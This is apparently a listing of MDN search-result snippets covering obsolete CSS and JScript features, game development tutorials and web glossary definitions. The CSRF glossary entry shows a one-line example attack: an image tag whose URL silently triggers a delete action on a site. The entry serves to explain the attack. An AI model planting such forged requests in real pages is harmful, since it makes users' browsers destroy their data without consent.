)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c...
-moz-border-right-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c...
-moz-border-top-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c...
-ms-content-zoom-snap-type - Archive of obsolete content
proximity indicates that the motion of the content after the contact is picked up may be adjusted if the content would normally stop "close enough" to a snap-point.
-ms-scroll-translation - Archive of obsolete content
the default css templates for windows apps using javascript, "ui-light.css" and "ui-dark.css", set this property to vertical-to-horizontal by default on the <html> element.
-ms-scrollbar-3dlight-color - Archive of obsolete content
*/ } </style> </head> <body> <textarea class="blue3dlight">the top and left edges of the thumb and button-face elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-darkshadow-color - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-darkshadow-color</title> <style> .blueshadow { scrollbar-darkshadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-shadow-color - Archive of obsolete content
<!doctype html> <html> <head> <title>scrollbar-shadow-color</title> <style> .blueshadow { scrollbar-shadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
:-moz-system-metric(mac-graphite-theme) - Archive of obsolete content
:-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.
:-moz-system-metric() - Archive of obsolete content
syntax values -moz-windows-compositormedia: media/visual accepts min/max prefixes: no:-moz-system-metric(images-in-menus)the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.:-moz-system-metric(mac-graphite-theme):-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.:-moz-system-metric(scrollbar-end-backward)the :-moz-system-metric(scrollbar-end-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-end-forward)the :-moz-system-metric(scrollbar-end-forward) css p...
::-ms-fill-lower - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
::-ms-fill-upper - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
::-ms-fill - Archive of obsolete content
eat, and background-size border border-radius box-shadow box-sizing color cursor display (values block, inline-block, none) font height margin -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform-origin visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill { background-color: orange; } result a progress bar using this style might look something like this: ...
::-ms-reveal - Archive of obsolete content
the ::-ms-reveal css pseudo-element is a microsoft extension that is used to display a password reveal button for use with a password field created by <input type="password">.
::-ms-thumb - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
::-ms-ticks-after - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
::-ms-ticks-before - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
::-ms-tooltip - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
::-ms-track - Archive of obsolete content
a slider control is one possible representation of <input type="range">.
Iterator - Archive of obsolete content
examples iterating over properties of an object var a = { x: 10, y: 20, }; var iter = iterator(a); console.log(iter.next()); // ["x", 10] console.log(iter.next()); // ["y", 20] console.log(iter.next()); // throws stopiteration iterating over properties of an object with legacy destructuring for-in statement var a = { x: 10, y: 20, }; for (var [name, value] in iterator(a)) { console.log(name, value); // x 10 // y 20 } iterating with for-of var a = { x: 10, y: 20, }; for (var [...
Date.prototype.toLocaleFormat() - Archive of obsolete content
examples using tolocaleformat() var today = new date(); var date = today.tolocaleformat('%a, %b %e, %y'); in this example, tolocaleformat() returns a string such as "wednesday, october 3, 2007".
Generator comprehensions - Archive of obsolete content
examples simple generator comprehensions (for (i of [1, 2, 3]) i * i ); // generator function which yields 1, 4, and 9 [...(for (i of [1, 2, 3]) i * i )]; // [1, 4, 9] var abc = ['a', 'b', 'c']; (for (letters of abc) letters.tolowercase()); // generator function which yields "a", "b", and "c" generator comprehensions with if statement var years = [1954, 1974, 1990, 2006, 2010, 2014]; (for (year of years) if (year > 2000) year); // generator function which yields 2006, 2010, and 2014 (for (year of years) if (year > 2000) if (year < 2010) year); // generator function which yields 2006, the same as below: (for (year of years) if (year > 2000 && year < 2010) year); /...
Debug.write - Archive of obsolete content
var counter = 42; debug.write("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, internet explorer 10 standards, internet explorer 11 standards.
Debug.writeln - Archive of obsolete content
var counter = 42; debug.writeln("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, internet explorer 10 standards, internet explorer 11 standards.
Debug - Archive of obsolete content
var counter = 42; debug.write("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, internet explorer 10 standards, internet explorer 11 standards.
Error.description - Archive of obsolete content
try { // cause an error: x = y } catch(e) { // prints "[object error]": document.write(e) document.write (" "); // prints 5009: document.write((e.number & 0xffff)) document.write (" "); // prints "'y' is undefined": document.write(e.description); document.write (" "); // prints "'y' is undefined": document.write(e.message) } requirements supported in the following document modes: quirks, internet explorer 6 standards, in...
Error.number - Archive of obsolete content
var x = y; } catch(e) { document.write ("error code: "); document.write (e.number & 0xffff) document.write ("<br />"); document.write ("facility code: ") document.write(e.number>>16 & 0x1fff) document.write ("<br />"); document.write ("error message: ") document.write (e.message) } example the output of this code is as follows.
Error.stackTraceLimit - Archive of obsolete content
try { var err = new error("my error"); error.stacktracelimit = 7; throw err; } catch(e) { document.write("error stack trace limit: ") document.write(error.stacktracelimit); } requirements supported in internet explorer 10 and in windows 8.x store apps.
ScriptEngine() - Archive of obsolete content
syntax scriptengine() remarks the scriptengine function returns "jscript", which indicates that javascript is the current scripting engine.
@cc_on - Archive of obsolete content
/*@cc_on @*/ /*@ document.write("javascript version: " + @_jscript_version + "."); document.write("<br />"); @if (@_win32) document.write("running on the 32-bit version of windows."); @elif (@_win16) document.write("running on the 16-bit version of windows."); @else document.write("running on a different operating system."); @end @*/ requirements supported in all versions of internet...
@if - Archive of obsolete content
/*@cc_on @*/ /*@ document.write("javascript version: " + @_jscript_version + "."); document.write("<br />"); @if (@_win32) document.write("running on a 32-bit version of windows."); @elif (@_win16) document.write("running on a 16-bit version of windows."); @else document.write("running on a different operating system."); @end @*/ requirements supported in all versions of internet expl...
@set - Archive of obsolete content
must be preceded by an "@" character at all times.
New in JavaScript 1.7 - Archive of obsolete content
in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or functio...
Object.prototype.unwatch() - Archive of obsolete content
note: the reason for unwatch() to take the property name prop as its only parameter is due to the "single handler allowing" behavior of the watch() method.
Reflect.enumerate() - Archive of obsolete content
examples using reflect.enumerate() var obj = { x: 1, y: 2 }; for (var name of reflect.enumerate(obj)) { console.log(name); } // logs "x" and "y" specifications not part of any standard.
for each...in - Archive of obsolete content
the following snippet iterates over an object's properties, calculating their sum: var sum = 0; var obj = {prop1: 5, prop2: 13, prop3: 8}; for each (var item in obj) { sum += item; } console.log(sum); // logs "26", which is 5+13+8 specifications not part of any standard.
handler.enumerate() - Archive of obsolete content
var p = new proxy({}, { enumerate(target) { console.log('called'); return ['a', 'b', 'c'][symbol.iterator](); } }); for (var x in p) { // "called" console.log(x); // "a" } // "b" // "c" the following code violates the invariant.
JavaClass - Archive of obsolete content
x = java.awt.font; myfont = x("helv", x.bold, 10); // creates a font object the previous example omits the packages keyword and uses the java synonym because the font class is in the java package.
Packages - Archive of obsolete content
examples example: javascript function to create a java dialog box the following javascript function creates a java dialog box: function createwindow() { var theowner = new packages.java.awt.frame(); var thewindow = new packages.java.awt.dialog(theowner); thewindow.setsize(350, 200); thewindow.settitle("hello, world"); thewindow.setvisible(true); } in the previous example, the function instantiates thewindow as a new packages object.
RDF: Resource Description Framework for metadata - Archive of obsolete content
ArchiveWebRDF
the subject is the resource, the "thing" being described.
Server-Side JavaScript - Archive of obsolete content
server-side javascript is another way in which, as this article quotes eich, "mozilla wants to 'get people thinking about javascript as a more general-purpose language' and show them that 'it really is a platform for writing full applications.'" many vendors today are embedding mozilla rhino or mozilla spidermonkey into web server environments.
StopIteration - Archive of obsolete content
var a = { x: 10, y: 20 }; var iter = iterator(a); console.log(iter.next()); // ["x", 10] console.log(iter.next()); // ["y", 20] console.log(iter.next()); // throws stopiteration throwing stopiteration.
Window.importDialog() - Archive of obsolete content
example var dialog = importdialog(null, "chrome://myextension/content/dialog.xul", myobject); notes the xul passed to importdialog() is very similar to xul passed to window.opendialog(), with some limitations and caveats: only <dialog> top level elements are permitted.
Implementation Status - Archive of obsolete content
version will return as "1.0" for now, until more 1.1 work is completed.
XForms Group Element - Archive of obsolete content
example <group ref="address"> <label>shipping address</label> <input ref="line_1"> <label>address line 1</label> </input> <input ref="line_2"> <label>address line 2</label> </input> <input ref="postcode"> <label>postcode</label> </input> </group> ...
XForms Message Element - Archive of obsolete content
example <xforms:trigger> <xforms:label>it's a button</xforms:label> <xforms:message level="modal" ev:event="domactivate">hello</xforms:message> </xforms:trigger> ...
XForms Output Element - Archive of obsolete content
characteristics the bound instance node is of type xsd:date or a type derived from it in addition, the appearance attribute must also contain the value "full" firefox 2.0 doesn't currently have any similar widgets available for use with xhtml or xul.
XForms Secret Element - Archive of obsolete content
characteristics analogous widgets are <xhtml:input type="password"/> and <xul:textbox type="password"/> if the incremental attribute is present and has the value true, then the bound instance node is updated on every user input.
XForms Textarea Element - Archive of obsolete content
characteristics analogous widgets are <xhtml:textarea/> and <xul:textbox multiline="true"/> if the incremental attribute has the value true, then the bound instance node is updated on every user input.
XForms Trigger Element - Archive of obsolete content
characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
XForms Upload Element - Archive of obsolete content
characteristics analogous widget is <xhtml:input type="file"/> ...
XForms - Archive of obsolete content
xforms custom controls custom controls lets the form author "skin" each xforms control through xbl, and create f.x.
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
in addition, when a document is displayed in "quirks" mode in mozilla 0.9.4 and later, the markers of lists will not use the font size of the list item text, but will instead stay the same as the user's default font size.
Popup Window Controls - Archive of obsolete content
<html> <head> <title>detecting popup controls</title> <script type="text/javascript"> <!-- // attempt to open an unsolicited window var popup = window.open('about:blank', 'popup'); if (!popup) { // the user has suppressed the popup } // --> </script> </head> <body> <!-- your page here --> </body> </html> if your popup window is crucial to the operation of your web site you can notify the user and ask them to add your s...
Styling Abbreviations and Acronyms - Archive of obsolete content
this is to be encouraged, and according to guideline 4 of the web content accessibility guidelines, both elements should be given a title attribute to improve "readability of the web for all people, including those with learning disabilities, cognitive disabilities, or people who are deaf." the problem authors have discovered that any abbr or acronym that has a title attribute is rendered with a dotted underline, per the following rule in resource://gre-resources/html.css abbr[title], acronym[title] { text-decoration: dotted underline; } the solut...
XUL Booster - Archive of obsolete content
menupopup id="menu_toolspopup".
Archive of obsolete content
or for "reasons," your company is required to use very old software and you need to build web content that runs on that software.
Index - Game development
9 game monetization games, html5, javascript, monetization, advertisements, branding, iap, licensing there are many ways to earn money — everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games.
Bounding volume collision detection with THREE.js - Game development
usually we will want this aabb to be "linked" to an object in our 3d world (like a character.) in three.js, geometry instances have a boundingbox property with min and max boundaries for the object.
Building up a basic demo with PlayCanvas editor - Game development
we want to start small, so we will use the empty project — click on the blank project option and enter a name for it (we are using "mdn games demo".) enter a description if you want — it is optional.
Building up a basic demo with Three.js - Game development
html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: three.js demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <script src="three.min.js"></script> <script> var width = window.innerwidth; var height = window.innerheight; /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, ...
Crisp pixel art look with image-rendering - Game development
the original image we want to upscale looks like this: here's some html to create a simple canvas: <canvas id="game" width="128" height="128"></canvas> css to size the canvas and render a crisp image: canvas { width: 512px; height: 512px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; } and some javascript to set up the canvas and load the image: // get canvas context var ctx = document.getelementbyid('game...
Bounce off the walls - Game development
if the ball was moving upwards with a speed of 2 pixels per frame, now it will be moving "up" with a speed of -2 pixels, which actually equals to moving down at a speed of 2 pixels per frame.
Collision detection - Game development
if(bricks[c][r].status == 1) { var brickx = (c*(brickwidth+brickpadding))+brickoffsetleft; var bricky = (r*(brickheight+brickpadding))+brickoffsettop; bricks[c][r].x = brickx; bricks[c][r].y = bricky; ctx.beginpath(); ctx.rect(brickx, bricky, brickwidth, brickheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } } } } tracking and updating the status in the collision detection function now we need to involve the brick status property in the collisiondetection() function: if the brick is active (its status is 1) we will check whether the collision happens; if a collision does occur we'll set the status of the...
Mouse controls - Game development
add the following line in the same place as the other event listeners, just below the keyup event: document.addeventlistener("mousemove", mousemovehandler, false); anchoring the paddle movement to the mouse movement we can update the paddle position based on the pointer coordinates — the following handler function will do exactly that.
Initialize the framework - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} function u...
Visual JS GE - Game development
you need to edit the config file to include the correct paths to the node app and project instance, as indicated below: module.exports = { version : "0.5", path_of_node_app : "d:/path_to_server_instance_folder/server/" , // edit here path_of_www : "d:/xamp/htdocs/project_instance/", // path_to_www edit here editor_port : "1013", reg_path : "users/", account_port : 3666 , destroy_session_after_x_mseconds : 20000, }; local node.js application tools (uses in developer mode only) the following section provides information...
ALPN - MDN Web Docs Glossary: Definitions of Web-related terms
important protocol identifiers: protocol identification sequence http/1.1 0x68 0x74 0x74 0x70 0x2f 0x31 0x2e 0x31 ("http/1.1") http/2 0x68 0x32 ("h2") http/2 over cleartext tcp 0x68 0x32 0x63 ("h2c") specifications specification status notes rfc 7301 ietf rfc initial definition.
ARIA - MDN Web Docs Glossary: Definitions of Web-related terms
for example, you could add the attribute role="alert" to a <p> tag to notify a sight-challenged user that the information is important and time-sensitive (which you might otherwise convey through text color).
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
computer scientists compare the efficiency of algorithms through the concept of "algorithmic complexity" or "big o" notation.
Block (scripting) - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a block is a collection of related statements enclosed in braces ("{}").
Block - MDN Web Docs Glossary: Definitions of Web-related terms
block (scripting) in javascript, a block is a collection of related statements enclosed in braces ("{}").
Block cipher mode of operation - MDN Web Docs Glossary: Definitions of Web-related terms
a block cipher mode of operation, usually just called a "mode" in context, specifies how a block cipher should be used to encrypt or decrypt messages that are longer than the block size.
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
/* javascript if statement */ if (boolean conditional) { // code to execute if the conditional is true } if (boolean conditional) { console.log("boolean conditional resolved to true"); } else { console.log("boolean conditional resolved to false"); } /* javascript for loop */ for (control variable; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) { console.log("i print only when the boolean conditional is true"); } the boolean value is named after english mathema...
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
for accept and content-type: can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del).
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com.
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
that definition, of course, leaves a lot of wiggle room, as the terms "be comfortably seen" and "an arm's length away" are imprecise, varying from person to person.
Class - MDN Web Docs Glossary: Definitions of Web-related terms
class is a template definition of an object's properties and methods, the "blueprint" from which other more specific instances of the object are drawn.
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
accept-ch: dpr, width, viewport-width, downlink and / or <meta http-equiv="accept-ch" content="dpr, width, viewport-width, downlink"> when a client receives the accept-ch header, if supported, it appends client hint headers that match the advertised field-values.
Codec - MDN Web Docs Glossary: Definitions of Web-related terms
a codec (a blend word derived from "coder-decoder") is a program, algorithm, or device that encodes or decodes a data stream.
Continuous Media - MDN Web Docs Glossary: Definitions of Web-related terms
continuous media can be real-time (interactive), where there is a "tight" timing relationship between source and sink, or streaming (playback), where the relationship is less strict.
DTMF (Dual-Tone Multi-Frequency signaling) - MDN Web Docs Glossary: Definitions of Web-related terms
frequently referred to in the united states as "touch tone" (after the touch-tone trademark used when the transition from pulse dialing to dtmf began), dtmf makes it possible to signal the digits 0-9 as well as the letters "a" through "d" and the symbols "#" and "*".
Descriptor (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
each descriptor has: a name a value, which holds the component values an "!important" flag, which in its default state is unset ...
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
developer tools (or "development tools" or short "devtools") are programs that allow a developer to create, test and debug software.
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
the overflow of data to the target causes saturation in the target machine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of service").
Empty element - MDN Web Docs Glossary: Definitions of Web-related terms
for example, <input type="text"></input> is invalid html.
Encapsulation - MDN Web Docs Glossary: Definitions of Web-related terms
encapsulation is the packing of data and functions into one component (for example, a class) and then controlling access to that component to make a "blackbox" out of the object.
FTU - MDN Web Docs Glossary: Definitions of Web-related terms
timezone, wifi details, default language, importing contacts), or take the "phone tour" to find out more about your device.
First contentful paint - MDN Web Docs Glossary: Definitions of Web-related terms
the question "is it happening?" is "yes" when the first contentful paint completes.
First paint - MDN Web Docs Glossary: Definitions of Web-related terms
it answers the question "is it happening?" ...
Function - MDN Web Docs Glossary: Definitions of Web-related terms
// declared functions can't be called immediately this way // error (https://en.wikipedia.org/wiki/immediately-invoked_function_expression) /* ​function foo() { console.log('hello foo'); }(); */ // function expressions, named or anonymous, can be called immediately (function foo() { console.log("hello foo"); }()); (function food() { console.log("hello food"); })(); (() => console.log('hello world'))(); if you'd like to know more about iifes, check out the following page on wikipedia : immediately invoked function expression learn more technical reference functions arrow functions ...
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
often abbreviated "gc," garbage collection is a fundamental component of the memory management system used by javascript.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> <div>eight</div> </div> ...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
x-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-template-rows: 100px 100px; grid-template-areas: "a a b" "a a b"; } .item1 { grid-area: a; } .item2 { grid-area: b; } <div class="wrapper"> <div class="item1">item</div> <div class="item2">item</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns grid-template-areas grid-area further reading css grid layout guide: basic concepts of grid layout css ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns further reading css grid layout guide: basic concepts of grid layout definition of grid cells in the css grid layout specification ...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1fr 3fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit grid tracks created in the implicit grid are auto-sized by default, however you can define a size for these tracks using the grid-auto-rows and grid-auto-columns properties.
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> in terms of grid sizing, gaps act as if they were a regular grid track however nothing can be placed into the gap.
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
the amount of abstraction provided defines how "high-level" a programming language is.
Host - MDN Web Docs Glossary: Definitions of Web-related terms
the host generated by virtual machines is called "virtual hosting".
I18N - MDN Web Docs Glossary: Definitions of Web-related terms
i18n (from "internationalization", a 20-letter word) is the best practice that enables products or services to be readily adapted to any target culture.
IP Address - MDN Web Docs Glossary: Definitions of Web-related terms
"ip address" typically still refers to 32-bit ipv4 addresses until ipv6 is deployed more broadly.
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
from defining rules for ensuring transmissions get to where they need to go to and creating the "sos" alert signal used in morse code, the itu has long played a key role in how we use technology to exchange information and ideas.
Internationalization - MDN Web Docs Glossary: Definitions of Web-related terms
internationalization, often shortened to "i18n", is the adapting of a web site or web application to different languages, regional differences, and technical requirements for different regions and countries.
Java - MDN Web Docs Glossary: Definitions of Web-related terms
this makes it a preferred language in many large enterprises with heterogenous landscapes, but may be perceived "heavy".
Keyword - MDN Web Docs Glossary: Definitions of Web-related terms
for more accurate results, try more specific keywords, such as "blue mustang gto" instead of simply "mustang".
Ligature - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in french "œ" is a ligature of "oe".
Localization - MDN Web Docs Glossary: Definitions of Web-related terms
the following are common factors to consider: language unit of measure (e.g., kilometers in europe, miles in u.s.) text direction (e.g., european languages are left-to-right, arabic right-to-left) capitalization in latin script (e.g., english uses capitals for weekdays, spanish uses lowercase) adaptation of idioms (e.g., "raining cats and dogs" makes no sense when translated literally) use of register (e.g., in japanese respectful speech differs exceptionally from casual speech) number format (e.g., 10 000,00 in germany vs.
mime - MDN Web Docs Glossary: Definitions of Web-related terms
mime "multipurpose internet mail extensions" is a standard to describe documents in other forms beside ascii text, e.g.
MIME type - MDN Web Docs Glossary: Definitions of Web-related terms
a mime type (now properly called "media type", but also sometimes "content type") is a string sent along with a file indicating the type of the file (describing the content format, for example, a sound file might be labeled audio/ogg, or an image file image/png).
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
this "separation of concerns" provides for a better division of labor and improved maintenance.
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
microsoft first bundled ie with windows in 1995 as part of the package called "microsoft plus!".
Modem - MDN Web Docs Glossary: Definitions of Web-related terms
a modem ("modulator-demodulator") is a device that converts digital information to analog signals and vice-versa, for sending data through networks.
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
practically speaking, if i divide two variables in a javascript program, the result may be nan, which is predefined in javascript as "undefined".
Null - MDN Web Docs Glossary: Definitions of Web-related terms
but in certain cases, null is not as "primitive" as it first seems!
OTA - MDN Web Docs Glossary: Definitions of Web-related terms
all device owners receiving a given set of updates are on the same "channel", and each device often can access several channels (e.g.
Operand - MDN Web Docs Glossary: Definitions of Web-related terms
for example, when you add two numbers, the numbers are the operand and "+" is the operator.
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in javascript the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression — for example making a true statement return false.
PHP - MDN Web Docs Glossary: Definitions of Web-related terms
examples basic syntax // start of php code <?php // php code goes here ?> // end of php code printing data on screen <?php echo "hello world!"; ?> php variables ​​​​​​​​​​​​​​<?php // variables $nome='danilo'; $sobrenome='santos'; $pais='brasil'; $email='danilocarsan@gmailcom'; ​​​​​​​ // printing the variables echo $nome; echo $sobrenome; echo $pais; echo $email; ?> ...
Placeholder names - MDN Web Docs Glossary: Definitions of Web-related terms
placeholder names are commonly used in cryptography to indicate the participants in a conversation, without resorting to terminology such as "party a," "eavesdropper," and "malicious attacker." the most commonly used names are: alice and bob, two parties who want to send messages to each other, occasionally joined by carol, a third participant eve, a passive attacker who is eavesdropping on alice and bob's conversation mallory, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages ...
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
it appears when request is qualified as "to be preflighted" and omitted for simple requests.
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
javascript // using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.touppercase(); console.log(bar); // baz // using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // assignment gives the primitive a new (not a mutated) value bar = bar.touppercase(); // baz a primitive can be replaced, but i...
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
the performance mantra of rail is "focus on the user; the end goal isn't to make your site perform fast on any specific device, it's to make users happy." there are 4 stages of interaction: page load, idle, response to input, and scrolling and animation.
REST - MDN Web Docs Glossary: Definitions of Web-related terms
because http, the standard protocol hehind the "world wide web", "web" also transfers documents and hypertext links, simple http apis are sometimes colloguially referred to as restful apis, restful services, or simply rest services, although they don't necessarily adhere to all rest constraints.
RTSP: Real-time streaming protocol - MDN Web Docs Glossary: Definitions of Web-related terms
basically, rtsp is the protocol that describes what happens when you click "pause"/"play" when streaming a video.
Reflow - MDN Web Docs Glossary: Definitions of Web-related terms
learn more google article "minimizing browser reflow" ...
Repo - MDN Web Docs Glossary: Definitions of Web-related terms
"repository") is a place that hosts an application's code source, together with various metadata.
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
er-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/testpage.html connection: keep-alive upgrade-insecure-requests: 1 if-modified-since: mon, 18 jul 2016 02:36:04 gmt if-none-match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a" cache-control: max-age=0 strictly speaking, the content-length header in this example is not a request header like the others, but an entity header: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge l...
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
